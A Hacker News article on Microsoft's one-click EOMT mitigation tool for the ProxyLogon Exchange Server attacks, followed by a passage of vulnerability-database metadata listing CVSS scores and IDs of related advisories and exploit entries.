[](<https://thehackernews.com/images/-jpxSsQOpxfA/YFBKGEa4SeI/AAAAAAAACCU/KSoqbip59LE-7trSUlqLbRehavtGqXdwwCLcBGAsYHQ/s0/microsoft-azure-hacking-1.jpg>)
Microsoft on Monday released a one-click mitigation software that applies all the necessary countermeasures to secure vulnerable environments against the ongoing widespread [ProxyLogon Exchange Server](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) cyberattacks.
Called Exchange On-premises Mitigation Tool ([EOMT](<https://github.com/microsoft/CSS-Exchange/tree/main/Security#exchange-on-premises-mitigation-tool-eomt>)), the PowerShell-based script serves to mitigate against current known attacks using CVE-2021-26855, scan the Exchange Server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) for any deployed web shells, and attempt to remediate the detected compromises.
"This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update," Microsoft [said](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).
The development comes in the wake of indiscriminate attacks against unpatched Exchange Servers across the world by more than ten advanced persistent threat actors — most of the government-backed cyberespionage groups — to plant backdoors, coin miners, and [ransomware](<https://thehackernews.com/2021/03/icrosoft-exchange-ransomware.html>), with the release of [proof-of-concept](<https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html>) (PoC) fueling the hacking spree even further.
Based on telemetry from [RiskIQ](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/>), 317,269 out of 400,000 on-premises Exchange Servers globally have been patched as of March 12, with the U.S., Germany, Great Britain, France, and Italy leading the countries with vulnerable servers.
Additionally, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has [updated](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>) its guidance to detail as many as seven variants of the [China Chopper](<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf>) web shell that are being leveraged by malicious actors.
[](<https://thehackernews.com/images/-KZiEV9wW7ew/YFBKIQY5ALI/AAAAAAAACCY/O_PgoFnkilgx5kMQCGC_LSY6EhsjeHPigCLcBGAsYHQ/s0/microsoft-exchange-security.jpg>)
Taking up just four kilobytes, the web shell has been a popular [post-exploitation tool](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) of choice for cyber attackers for nearly a decade.
While the breadth of the intrusions is being assessed, Microsoft is also reportedly investigating how the "limited and targeted" attacks it detected in early January picked up steam to quickly morph into a widespread mass exploitation campaign, forcing it to release the security fixes a week before it was due.
The Wall Street Journal on Friday [reported](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>) that investigators are focused on whether a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program ([MAPP](<https://www.microsoft.com/en-us/msrc/mapp>)), either accidentally or purposefully leaked it to other groups.
It is also being claimed that some tools used in the "second wave" of attacks towards the end of February are similar to proof-of-concept attack code that Microsoft shared with antivirus companies and other security partners on February 23, raising the possibility that threat actors may have gotten their hands on private disclosure that Microsoft shared with its security partners.
The other theory is that the threat actors independently discovered the same set of vulnerabilities, which were then exploited to stealthily conduct reconnaissance of target networks and steal mailboxes, before ramping up the attacks once the hackers figured out Microsoft was readying a patch.
"This is the [second time](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) in the last four months that nation-state actors have engaged in cyberattacks with the potential to affect businesses and organizations of all sizes," Microsoft [said](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>). "While this began as a nation-state attack, the vulnerabilities are being exploited by other criminal organizations, including new ransomware attacks, with the potential for other malicious activities."
Found this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter __](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.
{"id": "THN:814DFC4A310E0C39823F3110B0457F8C", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "Use This One-Click Mitigation Tool from Microsoft to Prevent Exchange Attacks", "description": "[](<https://thehackernews.com/images/-jpxSsQOpxfA/YFBKGEa4SeI/AAAAAAAACCU/KSoqbip59LE-7trSUlqLbRehavtGqXdwwCLcBGAsYHQ/s0/microsoft-azure-hacking-1.jpg>)\n\nMicrosoft on Monday released a one-click mitigation software that applies all the necessary countermeasures to secure vulnerable environments against the ongoing widespread [ProxyLogon Exchange Server](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) cyberattacks.\n\nCalled Exchange On-premises Mitigation Tool ([EOMT](<https://github.com/microsoft/CSS-Exchange/tree/main/Security#exchange-on-premises-mitigation-tool-eomt>)), the PowerShell-based script serves to mitigate against current known attacks using CVE-2021-26855, scan the Exchange Server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) for any deployed web shells, and attempt to remediate the detected compromises.\n\n\"This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update,\" Microsoft [said](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\nThe development comes in the wake of indiscriminate attacks against unpatched Exchange Servers across the world by more than ten advanced persistent threat actors \u2014 most of the government-backed cyberespionage groups \u2014 to plant backdoors, coin miners, and [ransomware](<https://thehackernews.com/2021/03/icrosoft-exchange-ransomware.html>), with the release of [proof-of-concept](<https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html>) (PoC) fueling the hacking spree even further.\n\nBased on telemetry from [RiskIQ](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/>), 317,269 out of 400,000 on-premises Exchange Servers globally have been patched as of March 12, with the U.S., Germany, Great Britain, France, and Italy leading the countries with vulnerable servers. \n\nAdditionally, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has [updated](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>) its guidance to detail as many as seven variants of the [China Chopper](<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf>) web shell that are being leveraged by malicious actors. \n\n[](<https://thehackernews.com/images/-KZiEV9wW7ew/YFBKIQY5ALI/AAAAAAAACCY/O_PgoFnkilgx5kMQCGC_LSY6EhsjeHPigCLcBGAsYHQ/s0/microsoft-exchange-security.jpg>)\n\nTaking up just four kilobytes, the web shell has been a popular [post-exploitation tool](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) of choice for cyber attackers for nearly a decade.\n\nWhile the breadth of the intrusions is being assessed, Microsoft is also reportedly investigating how the \"limited and targeted\" attacks it detected in early January picked up steam to quickly morph into a widespread mass exploitation campaign, forcing it to release the security fixes a week before it was due.\n\nThe Wall Street Journal on Friday [reported](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>) that investigators are focused on whether a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program ([MAPP](<https://www.microsoft.com/en-us/msrc/mapp>)), either accidentally or purposefully leaked it to other groups.\n\nIt is also being claimed that some tools used in the \"second wave\" of attacks towards the end of February are similar to proof-of-concept attack code that Microsoft shared with antivirus companies and other security partners on February 23, raising the possibility that threat actors may have gotten their hands on private disclosure that Microsoft shared with its security partners.\n\nThe other theory is that the threat actors independently discovered the same set of vulnerabilities, which were then exploited to stealthily conduct reconnaissance of target networks and steal mailboxes, before ramping up the attacks once the hackers figured out Microsoft was readying a patch.\n\n\"This is the [second time](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) in the last four months that nation-state actors have engaged in cyberattacks with the potential to affect businesses and organizations of all sizes,\" Microsoft [said](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>). \"While this began as a nation-state attack, the vulnerabilities are being exploited by other criminal organizations, including new ransomware attacks, with the potential for other malicious activities.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2021-03-16T06:06:00", "modified": "2021-03-16T10:01:21", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://thehackernews.com/2021/03/use-this-one-click-mitigation-tool-from.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2021-26855"], "immutableFields": [], "lastseen": "2022-05-09T12:39:02", "viewCount": 525, "enchantments": {"dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:09A31B56FFEA13FBA5985C1B2E66133B", "AKAMAIBLOG:30D20162B95C09229EEF2C09C5D98FCA", "AKAMAIBLOG:BB43372E19E8CF90A965E98130D0C070"]}, {"type": "attackerkb", "idList": ["AKB:1BA7DC74-F17D-4C34-9A6C-2F6B39787AA2", "AKB:4C137002-9580-4593-83DB-D4E636E1AEFB", "AKB:5D17BB38-86BB-4514-BF1D-39EB48FBE4F1", "AKB:8E9F0DC4-BC72-4340-B70E-5680CA968D2B", "AKB:BD645B28-C99E-42EA-A606-832F4F534945"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A"]}, {"type": "carbonblack", "idList": ["CARBONBLACK:C9B38F7962606C41AA16ECBD4E48D712"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0099"]}, {"type": "cisa", "idList": ["CISA:16DE226AFC5A22020B20927D63742D98"]}, {"type": "cve", "idList": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"]}, {"type": "exploitdb", "idList": ["EDB-ID:49879", "EDB-ID:49895"]}, {"type": "fireeye", "idList": ["FIREEYE:C650A7016EEAD895903FB350719E53E3"]}, {"type": "githubexploit", "idList": ["0DE16A64-9ACA-5BBE-A315-A3AE1B013900", "13364575-934B-5E73-AA03-AEB6910F6AD2", "13C8F5B4-D05E-5953-9263-59AE11CCD7DE", "14573955-860C-5947-8F2F-86347A606742", "18D647E9-D7D4-5591-B16C-05D007AFD726", "2481D5F6-C105-5158-B4AF-B67D7BA244A3", "256984DC-A742-53F8-889F-2071EC134734", "27A663CD-2720-57DA-A38A-DF1FEE0D7124", "3019C843-FE2F-527C-B7C1-14A1C3066721", "35B21CE7-1E51-5824-B70E-36480A6E8763", "37EE4A49-AEF7-5A71-AC1C-4B55CB94DD92", "4E59AAA3-7DBF-5E34-BD91-8F83E0E65CEB", "4FD3A97A-9BE6-5A1E-AE21-241CC188CDE7", "64D0ED0A-E1C0-57F4-B874-CAB63E7D858C", "65D56BCD-234F-52E5-9388-7D1421B31B1B", "6D33E1F2-A0E0-5F7C-B559-054EDA21AB58", "71E27C48-EAFE-5FC0-98A4-BE7276D47449", "7275794A-F2F6-51E6-B514-185E494D8A3F", "72EF4B3F-6CF3-5E4D-9B05-D4E27A7A9D1A", "7758268F-2004-536A-B51F-62DA1E5A992D", "798FA73D-8AE9-55E5-9D2F-4CC9D9477DD9", "7C80631A-74CB-54F0-BC26-01EEF7D52760", "7F4F3321-8955-51B4-B195-7C1F647A6C84", "81FEB23C-D090-5CE8-9B92-00BE597DE052", "91C28663-6C3C-5E4F-B609-44E5804E4A83", "9C3150AA-6C0C-5DC4-BEAD-C807FA5ACE12", "9E82678F-0559-56B2-94DC-6505FE64555C", "B20A08C3-E06C-57C9-998A-C38174AEA7DC", "B5E7199E-37EE-5CBA-A8B7-83061DD63E3D", "C87EF7D4-0E85-54CD-9D5A-381C451E5511", "D6AC5402-E5BA-5A55-B218-5D280FA9EA0D", "D7D65B87-E44D-559F-B05B-6AED7C8659D5", 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["MSF:AUXILIARY-GATHER-EXCHANGE_PROXYLOGON_COLLECTOR-", "MSF:AUXILIARY-SCANNER-HTTP-EXCHANGE_PROXYLOGON-", "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:28641FE2F73292EB4B26994613CC882B", "MMPC:2FB5327A309898BD59A467446C9C36DC", "MMPC:4A6B394DCAF12E05136AE087248E228C", "MMPC:C0F4687B18D53FB9596AD4FDF77092D8", "MMPC:E537BA51663A720821A67D2A4F7F7F0E", "MMPC:FC03200E57A46D16A8CD1A5A0E647BB3"]}, {"type": "mscve", "idList": ["MS:CVE-2021-26412", "MS:CVE-2021-26854", "MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065", "MS:CVE-2021-27078"]}, {"type": "mskb", "idList": ["KB5000871"]}, {"type": "msrc", "idList": ["MSRC:ED939F90BDE8D7A32031A750388B03C9"]}, {"type": "mssecure", "idList": ["MSSECURE:28641FE2F73292EB4B26994613CC882B", "MSSECURE:2FB5327A309898BD59A467446C9C36DC", "MSSECURE:4A6B394DCAF12E05136AE087248E228C", "MSSECURE:C0F4687B18D53FB9596AD4FDF77092D8", "MSSECURE:E537BA51663A720821A67D2A4F7F7F0E", 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{"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:44:28", "description": "# ProxyLogon-CVE-2021-26855\nRCE exploit for ProxyLogon vulnerabi...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-14T22:57:21", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": 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Exploit\n\n\n\n**:warning:For educational and ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-15T09:02:40", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-10-24T06:16:43", "id": "D6AC5402-E5BA-5A55-B218-5D280FA9EA0D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-02-16T10:31:55", "description": "# Exch-CVE-2021-26855\nProxyLogon is the formally generic name fo...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-14T14:23:34", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-02-16T09:48:52", "id": "B20A08C3-E06C-57C9-998A-C38174AEA7DC", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-27T21:01:50", "description": "# proxylogon\n\nProof-of-concept exploit for CVE-2021-26855 and CV...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-24T01:12:48", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-03-27T19:34:57", "id": "D7D704DD-277E-5739-BD5E-3782370FCCB3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-12T03:31:40", "description": "# CVE-2021-26855-PoC\nPoC exploit code for CVE-2021-26855. \n\nOrig...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T14:27:06", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-01-10T21:06:44", "id": "14573955-860C-5947-8F2F-86347A606742", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:20:16", "description": "# CVE-2021-26855\nCVE-2021-26855, also known as Proxylogon, is a ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-11T19:35:35", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-11-16T01:46:59", "id": "27A663CD-2720-57DA-A38A-DF1FEE0D7124", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-03T01:19:32", "description": "# ProxyLogon\n\nProxyLogon is the formally generic name for CVE-20...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-16T07:31:25", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2022-03-02T19:09:09", "id": "B5E7199E-37EE-5CBA-A8B7-83061DD63E3D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-28T14:00:56", "description": "# ProxyLogon For Python3\nProxyLogon(CVE-2021-26855+CVE-2021-2706...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-17T03:56:54", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-03-28T09:27:18", "id": "9C3150AA-6C0C-5DC4-BEAD-C807FA5ACE12", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:24:19", "description": "# 106362522\n\u91dd\u5c0d\u8fd1\u671f\u5fae\u8edf\u516c\u5e03\u4fee\u88dc\u906d\u99ed\u5ba2\u653b\u64ca\u7684Exchange Server\u6f0f\u6d1e\u554f\u984c\uff0c\u53f0\u7063DEVCORE\u8868\u793a\u65e9\u57281\u67085...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-19T09:33:52", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2021-04-19T09:35:18", "id": "DFB437A9-A514-588D-8B48-A6C7C75EAD32", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-03T01:15:35", "description": "# proxylogscan\n\n<img src=\"https://proxylogon.com/images/logo-whi...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-08T11:54:32", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27065", "CVE-2021-26855"], "modified": "2022-03-02T15:41:34", "id": "13C8F5B4-D05E-5953-9263-59AE11CCD7DE", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-04-03T23:52:26", "description": "# CVE-2021-26855\nCVE-2021-26855 ssrf \u7b80\u5355\u5229\u7528\ngolang \u7ec3\u4e60\n\n## \u5f71\u54cd\u7248\u672c\nExc...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", 